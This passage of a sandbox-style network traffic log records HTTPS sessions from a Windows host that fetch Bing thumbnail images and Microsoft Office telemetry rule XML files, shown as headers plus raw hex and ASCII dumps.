77 5e 89 7f 99 e8 9a 3f 85 7c 05 a1 78 56 e6 4b 7f 88 ca b7 2d 72 60 58 ec 75 48 Data Ascii: %T)yNi})2`"k<eiz%i%i1{W<o"uI$u<Eg3n3Ij1!D&Rd@zy_/s]9ZIzAq7xm7+2o'?#znEUp[]b*jw^?\|xVK-r`XuH
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: 37 6d c7 cb 91 c5 59 87 c3 1a 6d b4 92 6a 8b 6d 63 24 f7 32 19 a6 9e e6 4c 34 8e c7 96 27 04 92 6b 6b c3 d6 da 65 ae 8f 36 f8 2d 91 b7 7c d2 c4 c1 d9 71 fc 3b 81 23 3f 56 18 af 2f f8 8b e2 0f 10 69 fa 83 c7 a0 78 7a fb 53 95 5b fd 67 da e3 b7 5c 75 e5 9d 81 3f 86 6b c9 ab 57 30 c4 ce 34 2e db ed a2 b7 4d 96 db 75 2e 9a c2 c2 a4 9c 3d db 75 de fe 96 3c be da 0c 5d 4e 81 95 76 dc c8 3e 5e 9f 7c f4 ad ab 3b 7c f1 5c 5a 5c 78 e7 4c d5 37 f8 93 c3 5f 61 b7 ba b9 26 39 d6 ee 39 17 93 92 3e 56 27 3c d7 a1 5a c5 be 1f 32 26 ff 00 76 bf 5a cb e2 dd 34 a4 ac d2 47 87 5a 49 b6 d6 c7 03 f1 2e db cb f1 14 1f ed 5b 0f fd 0c d7 31 ab 29 56 d3 e4 0d ca ea 11 7f 51 5d 8f c5 68 1f fb 6a c5 dd b7 79 90 36 df c1 ff 00 fa f5 e5 9a af 89 a4 97 c5 50 68 4b 67 e5 ac 1a 94 42 49 Data Ascii: 7mYmjmc$2L4'kke6-\|q;#?V/ixzS[g\u?kW04.Mu.=u<]Nv>^\|;\|\Z\xL7_a&99>V'<Z2&vZ4GZI.[1)VQ]hjy6PhKgBI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49834	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:47 UTC	346	OUT	GET /th?id=OADD2.10239402613045_1Y7ZSJRVESY5KBVS8&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 23:15:47 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 548153 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 7FAC2D2C95714B1BB57768D1C9DEF6F1 Ref B: EWR30EDGE1007 Ref C: 2024-12-06T23:15:47Z Date: Fri, 06 Dec 2024 23:15:47 GMT Connection: close
2024-12-06 23:15:47 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 19 e0 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 3a 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 ac 87 69 00 04 00 00 00 01 00 00 00 c0 00 00 00 ec 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 36 2e 31 20 28 32 30 32 34 31 31 30 33 2e 6d 2e 32 38 33 34 20 31 34 64 33 65 37 34 29 20 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 31 3a 31 34 20 31 33 3a 34 36 3a 35 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 Data Ascii: JFIF``ExifMM*bj(1:r2i``Adobe Photoshop 26.1 (20241103.m.2834 14d3e74) (Windows)2024:11:14 13:46:588
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: 86 e3 14 d6 15 2f 34 c6 14 c6 33 e5 34 73 4a c2 92 95 c0 4e 94 dc 53 e8 e6 8b 80 ce b4 62 96 8a 57 01 31 f2 d3 71 4f a4 fa 54 80 94 9d 29 68 a1 b1 d8 14 50 a2 97 14 bc d0 21 ab 47 b5 2b 51 8c 54 8c 5e 69 1a 96 8a 68 03 9a 1a 9d cd 0d 4f a0 c6 af a5 1f 2d 39 85 22 f1 4a e0 27 4f a5 2e 29 68 f9 68 01 b4 53 b1 de 93 14 c0 4a 29 dc d2 62 a4 43 58 52 37 14 e6 f4 a4 61 40 c6 b7 de a4 a7 35 35 87 cb 52 03 58 53 7a 53 9a 93 15 23 43 58 53 58 53 fa 52 62 81 8c 6a 4c 7c d4 e6 a3 18 6e 6a 00 6f 5a 4f 7a 75 23 0f 9a 8b 80 d6 14 62 96 8a 40 1c d3 5a 9d cd 23 0a 9b 80 dc 52 d3 b9 a4 c5 0d 80 8c 3e 5a 6d 49 cd 31 85 48 09 4a bf 76 97 9a 16 81 87 34 98 c2 d3 b1 8a 4a 9b 8c 46 a2 95 a8 a0 07 73 47 34 7f 0d 14 90 05 26 29 69 dc d5 5c 06 f4 5a 3e 51 4b fc 54 bc d5 26 21 bd Data Ascii: /434sJNSbW1qOT)hP!G+QT^ihO-9"J'O.)hhSJ)bCXR7a@55RXSzS#CXSXSRbjL\|njoZOzu#b@Z#R>ZmI1HJv4JFsG4&)i\Z>QKT&!
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: a7 de 69 af 6d 3e 9f 22 84 c8 39 24 3a 96 2f b4 8e 70 9c 8e 6b 0e 64 c5 7d 35 fb 67 47 bf c2 fa 54 b2 7c d2 7f 6b b2 79 9b 46 ec 7d 9c 9c 67 ad 7c df 75 18 12 52 c1 e2 be b1 4b 9e c6 94 f5 46 73 af cd 51 32 d5 a7 5c 54 2e 2b a6 e6 a5 69 07 a5 31 94 54 ec 2a 37 5c f5 a9 65 10 b8 a6 32 d4 ce 29 b8 a9 b9 44 4c 29 18 54 98 a6 b0 c5 40 11 b2 d2 6d 1d a9 f8 f9 69 79 a5 72 88 58 7c d4 98 a9 18 53 7d ea 6e 16 23 61 4d 61 52 d3 5b 8a 43 23 a3 9a 73 0a 4c 54 80 c6 14 d6 14 f6 a4 a5 71 8d 51 9a 46 19 a7 d3 7a d2 01 b8 f4 a3 9a 5c 66 8c 52 b8 0d 61 45 3f 9a 29 0e c5 6e ad 4b cd 26 3e 6a 55 e1 ab 31 0a b4 e5 14 8b 4b 8c 7d 29 dc 05 a3 1e 94 70 38 a5 51 4a e0 2e 31 4b ed 49 8c 53 b1 8a 00 1a 97 9a 14 52 a8 35 57 00 5a 72 0a 29 ff 00 5a 2e 01 f4 a5 a2 9d 40 07 34 2d 2e Data Ascii: im>"9$:/pkd}5gGT\|kyF}g\|uRKFsQ2\T.+i1T*7\e2)DL)T@miyrX\|S}n#aMaR[C#sLTqQFz\fRaE?)nK&>jU1K})p8QJ.1KISR5WZr)Z.@4-.
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: b8 86 0c cd c3 f4 0b cf 4e b5 f1 58 9c d7 33 c6 a5 57 0b 09 24 d3 56 ba 5e 8e d2 6b 75 b3 ea 76 51 9e 1a 9b b5 48 b9 6b 6d 15 d6 8f c8 e1 fe 2d 7c 3e d1 b4 7d 52 ce c7 46 92 e6 17 91 5b fe 3f fe 5f 31 38 28 c3 8f f7 87 fc 06 b1 fc 7b e0 0b 2d 03 e1 c6 99 7d 70 d3 7f 6b de 4e fb f6 b6 e8 64 84 7d d2 9c 0e 9d 0f d6 ba ef 1b 78 f3 c2 ba ff 00 c4 cb 3b fd 63 59 bb bf d2 6c ad a6 8c 28 d3 59 1d 9d be e1 f9 58 65 47 e0 6b 2b e3 bf 8e fc 3f af db d8 69 7a 56 b7 71 2d ad 92 6d 47 b9 d3 1b f7 69 80 36 8d a4 13 f5 3f dd af 47 01 81 cf 16 26 8d 19 36 e1 f1 36 dc 3b ed 2f 79 b5 a7 4d 7a 18 ce bd 15 4a 37 5e f2 5a e8 fb 6c b4 ef e8 78 5e a1 1e c6 6a ce 98 7c d5 a5 ad 5c 27 9c de 5b 2b 0d c7 6b 6d db b8 02 40 3b 72 71 9f 4e d5 8f 2c 85 bf 8a be ea 3a 68 79 f3 d7 50 61 Data Ascii: NX3W$V^kuvQHkm-\|>}RF[?_18({-}pkNd}x;cYl(YXeGk+?izVq-mGi6?G&66;/yMzJ7^Zlx^j\|\'[+km@;rqN,:hyPa
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: 3f 28 ee f4 f3 ff 00 6c f3 54 34 3f b6 6e b3 d4 23 56 69 a2 b2 5b 95 56 f9 b7 4f 14 49 36 df a9 9b 4b b8 1f f0 36 a9 66 b6 b6 82 ea eb 49 8a 5f 2e cf f7 96 7e 7f fd 30 2e 6d 95 f3 ed 0d e6 9d 27 fd b2 cd 77 4f 5d 0b 47 41 ab 5b c7 73 f0 d6 28 a5 5f 96 f3 54 f2 3f 79 f7 be 60 47 fd f4 33 9f c2 9d e0 5b df 87 96 5e 00 8b 4b d5 35 a9 1b 58 b5 b9 94 ce be 5c d1 85 70 31 b3 e5 61 dd 40 ce 68 85 de ef e0 7f 87 ee e5 56 f3 2f b5 98 4c 9f c4 ac 4c 6f bb 9e c4 10 7e bb 4d 79 67 c5 c8 9f 4b f1 e5 cc e9 fe af 50 8d 6e 97 fd f6 f9 64 ff 00 c7 d5 bf 3a e1 c7 65 78 7c d2 83 c3 57 5a 5e e9 a6 d3 56 ec d3 47 a5 80 c4 ca 8c 9f 2b 6b d3 43 e8 37 f8 83 f0 e7 44 d1 75 26 d0 e3 9e 59 ae 10 c6 16 58 64 91 18 30 e7 ab 64 67 d3 22 b9 3d 4f e2 3a 6b 7e 0c b7 b0 36 96 11 35 b8 64 Data Ascii: ?(lT4?n#Vi[VOI6K6fI_.~0.m'wO]GA[s(_T?y`G3[^K5X\p1a@hV/LLo~MygKPnd:ex\|WZ^VG+kC7Du&YXd0dg"=O:k~65d
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: 8f 0d bb f8 69 52 52 8d c7 cd 59 c3 0b 42 10 50 51 d0 d1 e2 aa b7 77 23 57 55 d7 6f af e4 8c ce cb fb be 17 6c 61 7f 95 41 0d ec fb b9 95 aa a3 4c 5b 89 3a 53 90 82 b9 49 55 47 4f 9a b6 50 8a 56 48 8f 69 29 3b b6 6a e9 fa d6 a7 65 26 f8 a7 dc 1b ef 2f f7 ab a9 b5 f1 45 95 fe 9b 21 b9 68 e0 95 58 7e ea 46 2c ac 3b e3 8f d2 b8 28 c3 ee fd df fd f5 4f 77 03 e4 3b 94 ff 00 b5 58 54 c3 53 9b bd b5 3a 68 e2 aa 53 56 bd d1 ea 5e 1e 7d 0e ff 00 cc 82 e3 c4 76 3a 38 58 b7 c7 2b 5b 19 1a 62 3f 81 76 82 11 8f 5c 9e 2a d6 93 e1 6b 61 a8 69 9a c6 ab f6 9f ec 5b cb 91 0b b4 52 c7 26 a1 22 e4 64 24 47 80 c7 3c 03 5e 47 1c 88 9c ed 66 1f de 5f 96 b5 74 3d 66 5b 3d 4a 3b db 79 55 9a 26 f9 56 55 de bd 30 3b 83 c7 e9 59 bc 23 51 6a 2c a9 62 9c e5 76 7b c7 8a 3e 1c f8 72 3f Data Ascii: iRRYBPQw#WUolaAL[:SIUGOPVHi);je&/E!hX~F,;(Ow;XTS:hSV^}v:8X+[b?v\*kai[R&"d$G<^Gf_t=f[=J;yU&VU0;Y#Qj,bv{>r?
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: 29 81 4b 74 dc 7e 44 2a 48 39 f5 04 fc b8 a9 f4 bd 66 5b 2d 1e 48 0c b2 46 2e b0 fe 52 fd d6 2b 90 18 8f 5f 99 b1 e9 93 56 fc 69 a6 47 1e bd 75 a8 cf 6d f6 6b 75 93 3e 43 48 5d 99 db e6 09 b9 b9 38 f5 3d ab 9f b7 8c dc 5d 49 71 76 df bb 5e 64 6f e4 a3 eb 5e 8d 75 09 4e 56 da e7 9b b3 35 ec 6f e3 b6 b3 f3 df 6a c9 3f fa a5 6f 63 f7 bf 0e de a7 e9 5b 5e 0c b8 8d 2d e4 96 ee 5d b1 6e fd d2 b7 f1 3f af d3 3f ad 56 f0 f7 82 75 9f 10 f8 67 51 f1 5b a4 71 69 5a 54 b1 c3 3b 34 80 3f cd d1 62 4e af 81 e9 d3 a9 ac 0b ab 89 45 f7 99 1a f9 7b 57 64 71 ff 00 0c 60 74 15 c2 aa 51 ae e7 08 4a ee 3a 3f 27 d8 db df a7 69 49 6e 6d 6a b3 a3 6a 53 b3 aa b3 72 77 7d e6 a8 6d e5 31 43 c3 37 99 22 9f f8 08 3d 7f 3a a9 a7 93 73 24 92 dc fd d5 fb cc df 77 27 b7 f9 ed 56 6d 6d 2e Data Ascii: )Kt~D*H9f[-HF.R+_ViGumku>CH]8=]Iqv^do^uNV5oj?oc[^-]n??VugQ[qiZT;4?bNE{Wdq`tQJ:?'iInmjjSrw}m1C7"=:s$w'Vmm.
2024-12-06 23:15:48 UTC	16067	IN	Data Raw: 1f 45 d7 2d e7 97 49 9f 5d 91 59 b7 bd 93 db 66 36 80 82 65 74 f9 77 a8 0b d0 0c e7 15 e7 ff 00 b2 b4 da d7 83 3c 79 a9 e9 67 c3 16 57 d7 1b 9b fd 2d e1 df 24 25 62 df 88 b7 b2 85 de 4f 52 07 1d eb 73 e3 17 c5 99 af bc 5c 84 a7 9d 6d 6b 6a b0 4c b6 4b b5 da 46 53 be db 70 07 ee 12 43 60 e0 f4 ce 33 5f 35 99 e0 e7 f5 be 58 2b db c9 5f ef f9 9c 79 75 27 4a b2 7b 5f bb d3 d2 d6 d8 f3 8d 17 46 f8 69 61 a3 dc de e9 ba ad db 48 f3 84 f2 9f 78 69 08 e6 38 72 57 bb 73 c7 4e 09 e9 5e 4b 6c b7 7a f7 88 2e 6f f5 1b 9f 2a 28 bf 79 77 2a af fa 98 d7 e5 0a a3 d7 a2 28 af 59 b1 f1 17 82 1b 47 fb 0a 7c 3e d4 a5 bb 59 1b ec d3 aa 47 b2 39 5c fc ac 06 32 00 3b 45 79 f6 b1 a5 cb 69 bb c3 d6 d1 4f 2a ac a2 4b 99 22 5d cb 71 39 ff 00 d9 50 1d aa 3b 9c 9e f5 ed 64 ca 51 73 55 Data Ascii: E-I]Yf6etw<ygW-$%bORs\mkjLKFSpC`3_5X+_yu'J{_FiaHxi8rWsN^Klz.o(yw(YG\|>YG9\2;EyiO*K"]q9P;dQsU
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: 1f c4 1b 53 fb 36 dd 6a ad e1 3d 02 04 b7 b9 ff 00 43 d2 e2 85 c5 b3 67 ef 48 c9 bb 3c f2 07 3e fd eb e8 73 bc b3 11 2c 3d 28 28 49 73 49 2b de 3d 74 e8 7a 14 f1 54 70 b3 53 54 57 de d9 f2 c5 f7 85 da ee d6 d5 ec e7 d3 56 18 e3 f2 da 45 b9 76 59 a4 04 ee 7e 17 82 78 e2 b3 ee b4 fd 66 ca 36 d3 ad a2 9e ee 16 5d f2 2d a7 98 f0 e7 a6 5b 80 32 2b d8 bc 49 f1 d3 4e 96 d2 d5 66 f8 67 e1 19 cc 59 1b 66 82 5f 97 e9 87 ab 5e 08 f8 95 61 2b 5d 6a 53 78 6b 47 d2 2d e7 88 04 b3 b0 8c aa 33 8c 80 f8 72 c7 fa 1f c2 b6 8f 0b e2 29 e1 d3 ad 4e 4e de 70 7a df d1 b3 d3 a7 88 8d 5c 5f 2c 17 25 d6 e9 f9 6d d8 f0 cb 1b 9b e8 af a5 d1 ad 97 52 5b 65 90 0b df 25 5d 51 b9 1b 99 c7 f7 47 bf 4a fa 73 c3 1e 3e d6 bc 17 e2 6d 63 c1 da 1d aa ad a4 37 b2 c3 65 6d 04 01 56 3b 64 93 ca Data Ascii: S6j=CgH<>s,=((IsI+=tzTpSTWVEvY~xf6]-[2+INfgYf_^a+]jSxkG-3r)NNpz\_,%mR[e%]QGJs>mc7emV;d
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: c7 8a fc ef 01 52 34 71 50 a9 d9 9a ba ad 91 4d 73 6c ed c7 fd f3 51 c9 2c 1b 70 2b 32 e3 89 2a 3f 30 f7 af dc 32 fc e5 54 a6 9d 8f 3f 11 37 73 5a dd 6d 9e 4c c8 8a cd fd ed b5 a5 74 74 d3 6b b4 44 bb bf d9 5d b5 cd c2 e3 75 5a 67 3e 5e 6b d6 8e 39 4e cd 8a 9d 4f 77 62 ae a0 b6 eb 70 de 5c 4b 8f f7 6a be 7e 6a 4b a2 4c 8c 69 aa 72 d5 f8 bf 17 d7 75 33 19 48 e8 a7 2b c5 1d 4f 84 9e 31 22 b4 8c d8 ff 00 66 bd 03 7e 90 6c e3 c3 6d 6d bf 36 e8 eb cc fc 3e f8 65 ae a2 19 33 6f 5f 9c e2 e3 cd 3d 5d 8e ca 35 2c ad 62 de aa d6 03 76 c6 56 ff 00 80 d6 4c 86 d0 72 1b 9a 4b e6 fb d5 9d 33 54 42 36 ea 29 55 d7 62 b6 b0 c0 c9 fb b6 e2 a2 b1 07 cc e2 92 e3 96 a9 74 fe 24 53 5d 49 fb b6 33 8d 9b 3b 5f 02 a9 6b a8 b7 f4 dd fd da fa 6f e0 ec 56 46 de 3f 3e 7f 2c 6d af 9a Data Ascii: R4qPMslQ,p+2*?02T?7sZmLttkD]uZg>^k9NOwbp\Kj~jKLiru3H+O1"f~lmm6>e3o_=]5,bvVLrK3TB6)Ubt$S]I3;_koVF?>,m

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:48 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fdf3550d-a01e-0070-7703-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231548Z-r1cf579d778mvsklhC1EWRkavg00000000v000000000bkbh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:48 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:48 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:48 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1dbd65e4-a01e-0002-7203-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231548Z-r1cf579d778w59f9hC1EWRze6w00000000xg000000005vdv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 23:15:48 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:48 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:48 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 4ba8bb7a-501e-0035-7db2-46c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231548Z-1746fd949bdkw94lhC1EWRxuz4000000053g000000003xed x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:48 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:48 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:48 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 626f2b07-401e-0015-15d1-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231548Z-1746fd949bdhk6hphC1EWRaw3c00000004p000000000a3bq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:48 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49840	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:49 UTC	346	OUT	GET /th?id=OADD2.10239357290388_16CMXFO1MXGSZHTL5&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
